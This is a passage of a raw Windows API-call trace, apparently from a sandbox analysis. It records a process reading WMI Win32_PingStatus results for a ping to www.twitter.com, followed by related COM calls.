varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x227630c*=8, plFlavor=0x2276310*=64) returned 0x0 [0161.657] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0161.657] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0161.658] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde89c | out: puCount=0x5bde89c*=0x2) returned 0x0 [0161.658] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde898*=0x0, pszText=0x0 | out: puBuffLength=0x5bde898*=0xf, pszText=0x0) returned 0x0 [0161.658] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde898*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.658] IWbemClassObject:Get (in: This=0x5f765d8, wszName="ResponseTime", lFlags=0, pVal=0x5bde898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2276544*=0, plFlavor=0x2276548*=0 | out: pVal=0x5bde898*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf, varVal2=0x0), pType=0x2276544*=19, plFlavor=0x2276548*=0) returned 0x0 [0161.658] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde894 | out: puCount=0x5bde894*=0x2) returned 0x0 [0161.658] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0x0, pszText=0x0 | out: puBuffLength=0x5bde890*=0xf, pszText=0x0) returned 0x0 [0161.658] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.658] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde894 | out: puCount=0x5bde894*=0x2) returned 0x0 [0161.658] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0x0, pszText=0x0 | out: puBuffLength=0x5bde890*=0xf, pszText=0x0) returned 0x0 [0161.658] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.658] IWbemClassObject:GetNames (in: This=0x5f765d8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde89c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde890 | out: pNames=0x5bde890*="\x01ƀ\x04") returned 0x0 [0161.658] SafeArrayGetDim (psa=0x5f8af70) returned 0x1 [0161.658] SafeArrayGetDim (psa=0x5f8af70) returned 0x1 [0161.658] SafeArrayGetLBound (in: psa=0x5f8af70, nDim=0x1, plLbound=0x5bde728 | out: plLbound=0x5bde728) returned 0x0 [0161.659] SysStringByteLen (bstr="__GENUS") returned 0xe [0161.659] SysStringByteLen (bstr="__GENUS") returned 0xe [0161.659] SysStringByteLen (bstr="__CLASS") returned 0xe [0161.659] SysStringByteLen (bstr="__CLASS") returned 0xe [0161.659] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0161.659] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0161.659] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0161.659] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0161.659] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0161.659] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0161.659] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0161.659] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0161.659] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0161.659] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0161.659] SysStringByteLen (bstr="__SERVER") returned 0x10 [0161.659] SysStringByteLen (bstr="__SERVER") returned 0x10 [0161.659] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0161.659] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0161.659] SysStringByteLen (bstr="__PATH") returned 0xc [0161.659] SysStringByteLen (bstr="__PATH") returned 0xc [0161.660] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__GENUS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22768f8*=0, plFlavor=0x22768fc*=0 | out: pVal=0x5bde88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22768f8*=3, plFlavor=0x22768fc*=64) returned 0x0 [0161.660] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__CLASS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227692c*=0, plFlavor=0x2276930*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x227692c*=8, plFlavor=0x2276930*=64) returned 0x0 [0161.660] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.660] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.660] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2276984*=0, plFlavor=0x2276988*=0 | out: pVal=0x5bde88c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2276984*=8, plFlavor=0x2276988*=64) returned 0x0 [0161.660] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__DYNASTY", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22769ac*=0, plFlavor=0x22769b0*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22769ac*=8, plFlavor=0x22769b0*=64) returned 0x0 [0161.660] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.660] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.660] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__RELPATH", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2276a04*=0, plFlavor=0x2276a08*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2276a04*=8, plFlavor=0x2276a08*=64) returned 0x0 [0161.660] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0161.661] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0161.661] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2276bec*=0, plFlavor=0x2276bf0*=0 | out: pVal=0x5bde88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2276bec*=3, plFlavor=0x2276bf0*=64) returned 0x0 [0161.661] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__DERIVATION", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2276c20*=0, plFlavor=0x2276c24*=0 | out: pVal=0x5bde88c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8b000*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3dd0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2276c20*=8200, plFlavor=0x2276c24*=64) returned 0x0 [0161.661] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__SERVER", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2276c54*=0, plFlavor=0x2276c58*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2276c54*=8, plFlavor=0x2276c58*=64) returned 0x0 [0161.661] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0161.661] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0161.661] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2276ca0*=0, plFlavor=0x2276ca4*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2276ca0*=8, plFlavor=0x2276ca4*=64) returned 0x0 [0161.661] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.661] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.662] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__PATH", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2276cec*=0, plFlavor=0x2276cf0*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2276cec*=8, plFlavor=0x2276cf0*=64) returned 0x0 [0161.662] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0161.662] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0161.662] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde8d0 | out: puCount=0x5bde8d0*=0x2) returned 0x0 [0161.662] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8cc*=0x0, pszText=0x0 | out: puBuffLength=0x5bde8cc*=0xf, pszText=0x0) returned 0x0 [0161.662] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8cc*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde8cc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.662] IWbemClassObject:Get (in: This=0x5f765d8, wszName="ResponseTime", lFlags=0, pVal=0x5bde8cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2276f24*=0, plFlavor=0x2276f28*=0 | out: pVal=0x5bde8cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf, varVal2=0x0), pType=0x2276f24*=19, plFlavor=0x2276f28*=0) returned 0x0 [0161.662] IWbemClassObject:Get (in: This=0x5f765d8, wszName="ResponseTime", lFlags=0, pVal=0x5bde980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2276f24*=19, plFlavor=0x2276f28*=0 | out: pVal=0x5bde980*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf, varVal2=0x0), pType=0x2276f24*=19, plFlavor=0x2276f28*=0) returned 0x0 [0161.662] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0161.662] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0161.663] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.663] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0161.663] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0161.663] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.663] IWbemClassObject:GetNames (in: This=0x5f765d8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde9d0 | out: pNames=0x5bde9d0*="\x01ƀ\x04") returned 0x0 [0161.663] SafeArrayGetDim (psa=0x5f8afd0) returned 0x1 [0161.663] SafeArrayGetDim (psa=0x5f8afd0) returned 0x1 [0161.663] SafeArrayGetLBound (in: psa=0x5f8afd0, nDim=0x1, plLbound=0x5bde868 | out: plLbound=0x5bde868) returned 0x0 [0161.663] SysStringByteLen (bstr="__GENUS") returned 0xe [0161.663] SysStringByteLen (bstr="__GENUS") returned 0xe [0161.663] SysStringByteLen (bstr="__CLASS") returned 0xe [0161.663] SysStringByteLen (bstr="__CLASS") returned 0xe [0161.663] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0161.663] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0161.663] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0161.663] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0161.663] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0161.663] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0161.663] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0161.663] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0161.663] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0161.663] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0161.664] SysStringByteLen (bstr="__SERVER") returned 0x10 [0161.664] SysStringByteLen (bstr="__SERVER") returned 0x10 [0161.664] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0161.664] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0161.664] SysStringByteLen (bstr="__PATH") returned 0xc [0161.664] SysStringByteLen (bstr="__PATH") returned 0xc [0161.664] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__GENUS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22773d0*=0, plFlavor=0x22773d4*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22773d0*=3, plFlavor=0x22773d4*=64) returned 0x0 [0161.664] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__CLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2277404*=0, plFlavor=0x2277408*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2277404*=8, plFlavor=0x2277408*=64) returned 0x0 [0161.664] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.664] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.664] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227745c*=0, plFlavor=0x2277460*=0 | out: pVal=0x5bde9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227745c*=8, plFlavor=0x2277460*=64) returned 0x0 [0161.664] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__DYNASTY", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2277484*=0, plFlavor=0x2277488*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2277484*=8, plFlavor=0x2277488*=64) returned 0x0 [0161.664] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.664] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.665] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__RELPATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22774dc*=0, plFlavor=0x22774e0*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22774dc*=8, plFlavor=0x22774e0*=64) returned 0x0 [0161.665] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0161.665] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0161.665] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22776b8*=0, plFlavor=0x22776bc*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22776b8*=3, plFlavor=0x22776bc*=64) returned 0x0 [0161.665] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__DERIVATION", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22776ec*=0, plFlavor=0x22776f0*=0 | out: pVal=0x5bde9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8af10*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3dd0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22776ec*=8200, plFlavor=0x22776f0*=64) returned 0x0 [0161.665] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__SERVER", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2277720*=0, plFlavor=0x2277724*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2277720*=8, plFlavor=0x2277724*=64) returned 0x0 [0161.665] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0161.665] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0161.665] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227776c*=0, plFlavor=0x2277770*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x227776c*=8, plFlavor=0x2277770*=64) returned 0x0 [0161.666] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.666] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.666] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__PATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22777b8*=0, plFlavor=0x22777bc*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22777b8*=8, plFlavor=0x22777bc*=64) returned 0x0 [0161.666] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0161.666] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0161.666] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdea10 | out: puCount=0x5bdea10*=0x2) returned 0x0 [0161.666] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0x0, pszText=0x0 | out: puBuffLength=0x5bdea0c*=0xf, pszText=0x0) returned 0x0 [0161.666] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.666] IWbemClassObject:Get (in: This=0x5f765d8, wszName="WriteErrorStream", lFlags=0, pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22779f0*=0, plFlavor=0x22779f4*=0 | out: pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22779f0*=0, plFlavor=0x22779f4*=0) returned 0x80041002 [0161.666] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x5bde9f0 | out: pperrinfo=0x5bde9f0*=0x0) returned 0x1 [0161.671] CoGetClassObject (in: rclsid=0x5f6dc04*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5bde650 | out: ppv=0x5bde650*=0x5fc3d70) returned 0x0 [0161.672] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3d70, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5bde868 | out: ppvObject=0x5bde868*=0x0) returned 0x80004002 [0161.672] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5fc3d70, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde874 | out: ppvObject=0x5bde874*=0x5fc3d80) returned 0x0 [0161.672] WbemStatusCodeText:IUnknown:Release (This=0x5fc3d70) returned 0x0 [0161.672] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3d80, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde494 | out: ppvObject=0x5bde494*=0x5fc3d80) returned 0x0 [0161.672] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3d80, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5bde448 | out: ppvObject=0x5bde448*=0x0) returned 0x80004002 [0161.672] WbemStatusCodeText:IUnknown:AddRef (This=0x5fc3d80) returned 0x3 [0161.672] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3d80, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5bddda4 | out: ppvObject=0x5bddda4*=0x0) returned 0x80004002 [0161.672] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3d80, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, 